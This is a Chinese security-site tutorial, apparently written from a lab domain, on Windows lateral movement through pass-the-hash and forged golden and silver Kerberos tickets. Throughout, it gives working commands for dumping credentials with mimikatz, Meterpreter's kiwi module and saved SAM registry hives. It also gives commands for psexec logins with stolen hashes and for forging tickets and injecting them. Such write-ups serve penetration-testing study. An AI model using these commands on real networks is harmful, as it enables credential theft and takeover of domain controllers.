freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网横移方法
2021-09-06 00:28:10

一、哈希传递攻击分析与防范

前言

在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理账号和密码也是相同的,攻击者就能使用哈希传递(pass the hash 又叫PTH)的方法登录内网中的其他计算机。

用户在登陆网站时会对用户输入的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果玩去哪相同则表示验证成功。

在Windows网络中,攻击者不需要花费时间来破解密码散列值【MD5单向不可逆】(进而获得明文密码),散列值就是用来证明身份的,在Windows Server 2012 R2及以后版本的操作系统中,默认内存不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对计算机的控制。

本实验的前提是已经获取到了一个反弹shell,思路如下:

hash获取:

1、向目标机器上传mimikatz.exe远程调用,dump出hash,mimikatz需要做免杀处理,调用方法,直接在目标机器的CMD中打开mimikatz.exe,然后进入mimikatz的终端,输入mimikatz的指令即可。

image-20210905192924259

2、使用meterpreter中的mimikatz进行哈希传递

2.1、使用meterpreter里的mimikatz模块

meterpreter >load mimikatz /////加载mimikatz模块,但是新版本msf中的mimikatz已经被kiwi取代了,老版本的msf可以使用

image-20210904202528103

meterpreter >mimikatz_command -f (command)

privilege::debug ////提权

Samdump::hashes ///dump hash

2.2、使用meterpreter中的kiwi模块

工具的迭代,代表着更丰富的功能

image-20210904202619374

creds_all              Retrieve all credentials (parsed) ////列举所有凭据/所有密码
creds_kerberos         Retrieve Kerberos creds (parsed) ///列举所有kerberos凭据
creds_livessp         Retrieve Live SSP creds           ///列举所有livessp凭据
creds_msv             Retrieve LM/NTLM creds (parsed)   ////列出所有msv凭据
creds_ssp             Retrieve SSP creds               ////列举所有ssp凭据
creds_tspkg           Retrieve TsPkg creds (parsed)     ////列举所有tspkg凭据
creds_wdigest         Retrieve WDigest creds (parsed)   ////列举所有wdigest凭据
dcsync                 Retrieve user account information via DCSync (unparsed) ///通过DCsync检索用户账户信息
dcsync_ntlm           Retrieve user account NTLM hash, SID and RID via DCSync ///通过DCsync检索用户账户NTLM散列、SID和RID
golden_ticket_create   Create a golden kerberos ticket   ////创建黄金票据
kerberos_ticket_list   List all kerberos tickets (unparsed) ////列举kerberos票据
kerberos_ticket_purge Purge any in-use kerberos tickets     ////清除rberos票据
kerberos_ticket_use   Use a kerberos ticket       /////使用kerberos票据
kiwi_cmd               Execute an arbitary mimikatz command (unparsed) ///此模块包含mimikatz的全部功能,该命令后接mimikatz.exe的命令
lsa_dump_sam           Dump LSA SAM (unparsed)   ////dump出lsa的sam
lsa_dump_secrets       Dump LSA secrets (unparsed)   ////dump出lsa的密文
password_change       Change the password/hash of a user   ///修改密码
wifi_list             List wifi profiles/creds for the current user   ////列出当前用户的wifi配置文件
wifi_list_shared       List shared wifi profiles/creds (requires SYSTEM)   ////列出共享wifi配置文件/编码

2.3、直接在meterpreter命令行输入hashdump

2.4、除了直接hashdump以外,msf也有一个脚本为post/Windows/gather/smart_hashdump,可用来获取域内用户的hash,在meterpreter界面,直接run一下这个模块就可以,(需要system权限)

3、上传procdump.exe到目标机器,获取lsass.exe进程的dmp文件后,将其传回本地用mimikatz来dump hash。lsass.exe是一个系统进程,用于微软系统的安全机制。它用于本地安全和登陆策略。

4、cobalt strike中dump hash(需要system权限)1630896287_6135809f15e54feacf760.png!small?1630896287213

5、利用Sam表

5.1、mimikatz在线读取Sam表

privilege::debug

token::elevate

lsadump::sam

5.2、将Sam表下载到本地,然后由mimikatz分析

reg save HKLM\SYSTEM SYSTEM

reg save HKLM\SAM SAM

hash传递PTH(PASS the hash)

前面获取了hash值,接下来要进行hash传递

1、使用msf的psexec模块:

use exploit/Windows/smb/psexec ///使用smb的psexec模块

set lhost x.x.x.x

set lport xxxx

set rhost x.x.x.x

set SMBuser xxxxx ///前面已经获取的hash值列表,对应想登录的用户,一般为administrator

set SMBPass xxxxxxxxxxxx ////上面SMBuser对应的hash值

run

image-20210905001300215

2、cs的psexec模块

选中一个域控,右击登录>psexec

image-20210905000757537

选择对应的user和password的hash值

image-20210905162851999

二、票据传输获取域控权限

前言

票据传输攻击(PTT,pass the ticket)是一种使用kerberos票据代替明文密码或NTLM哈希的方法,最常见的用途是使用黄金票据和白银票据,经过PTT访问主机。域成员获取了域中的krbtgt用户的SID值和哈希值,就可以利用票据传递的攻击方式访问域控服务器,做域控权限维持。

黄金票据

krbtgt用户是域控中用来管理发放票据的用户,黄金票据的就是利用ms14_068漏洞,ms14_068的漏洞原理是伪造域管的tgt,黄金票据的漏洞原理是伪造krbtgt用户的票据(NTLM哈希或AES-256的值),拥有了该用户的权限,就可以为伪造系统中的任意用户。

收集构建黄金票据的信息

1、有的域主机/域用户可以查看到krbtgt用户

image-20210905223740024

image-20210905223932250

2、要想伪造黄金票据,需要知道以下信息

2.1、要伪造的域用户(一般是域管理员账户)

///查看域内管理员:net group “domain admins” domain

image-20210905230522033

2.2、域名 ///net config workstation可以查看

2.3、域的SSID值。本域的名字为de1ay.com,在mimikatz中使用下类命令执行,获得SSID的值(去掉后面的502),mimikatz需要在管理员权限下执行

mimikatz # lsadump::dcsunc /domain:de1ay.com /user:krbtgt

2.4、krbtgt账号的哈希值或AES-256值,为上图中的HASH NTLM值

黄金票据生成并导入

1、提取:privilege::debug

image-20210905232052115

2、在mimikatz中生成黄金票据并导入

2.1、生成票据后,再导入,有两种方法,在这里分为2.1.1和2.1.2,导入为2.1.3

2.1.1、使用krbtgt的hash值伪造票据,使用命令如下:

kerberos::golden /user:administrator /domain:xxx.com /sid:xxxxxxxxxxxx /krbtgt:xxxxxxxxx ////下面截图中的hash值,我手敲的,mimikatz.exe界面不能C和V,还不知道光标在哪,麻了,可能是工具的问题,点根蚊香降降血压

image-20210905233234144

2.1.2、使用krbtgt的AES-256的值

image-20210905235034813

2.1.3、前面身两种方法生成的票据ticket.kirbi,导入内存中

kerberos:ptt ticket.kirbi

image-20210905235814823

2.2、生成黄金票据直接导入内存(强烈安利这种方法),也是两种方法

2.2.1、使用krbtgt的hash,后缀加/ptt

image-20210905235946471

2.2.2、使用krbtgt的aes256,跟2.1.2一样(手敲hash真的太累了)

2.3、查看一下内存中的票据列表

klist /////一定是administrator权限下才能查看到票据列表

image-20210906001134443

mimikatz中也可以查看黄金票据,图中可以成功查看到伪造的域控的票据

image-20210906000555043

2.4、权限验证,黄金票据传递成功,在攻击机上可以成功查看域控权限

image-20210906001626275

白银票据

白银票据与ms14_068和黄金票据的原理不太一样,ms14_068和黄金票据都是伪造tgt(门票发放票),而白银票据则是伪造st(门票),也就是伪造服务账号的票据(NTLM哈希或AES-256的值),这样处理的好处是门票不会经过kdc,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(Windows远程管理),dns服务等

要创建白银票据,我们需要知道一下信息:

1、要伪造的域用户(一般就是域管理员,伪造低权限用户也没啥意思)

2、域名 ///net config workstation可以查看域名

3、域的SSID值

4、目标服务的FQDN

5、可利用服务

6、服务账号的NTLM哈希

以下伪造白银票据以获取CIFS权限为例

CIFS服务,中文名字:通用网络文件系统,可以远程访问Internet计算机上的文件并要求此计算机提供服务,用于网络设备之间的文件共享,它可以使用户得到比FTP更好对文件的控制

1、收集构建白银票据的信息

1、使用mimikatz获取服务账号的NTLM哈希值 ////mimikatz需要管理权限运行

image-20210906112051320

image-20210906112223809

2、伪造白银票据进行攻击

查看到针对CIFS服务的票据已经成功生成

命令:kerberos:golden /domain:de1ay.com /sid:xxxxxxxxx /target:DC.de1ay.com /service:cifs /rc4:xxxhash值xxx /user:administrator /ptt

image-20210906120540743

3、查看系统中的票据

klist

image-20210906121333655

访问域控的C盘

image-20210906121418155

黄金票据与白银票据的不同点

一、访问权限不同

1、黄金票据Golden Ticket:伪造TGT,可以获取任何kerberos服务权限

2、白银票据Silver Ticket:伪造TGS,只能访问指定的服务

二、加密方式不同

1、黄金票据由krbtgt的Hash加密

2、白银票据由服务账号(通常为计算机账户)Hash加密

三、认证流程不同

1、黄金票据的利用过程需要访问控制

2、白银票据不需要

四、隐蔽性不同

1、白银票据依赖于服务账号的密码散列值,而黄金票据需要利用krbtgt账号的密码散列值,因此白银票据更加隐蔽

# 渗透测试 # web安全 # 系统安全 # 内网渗透 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录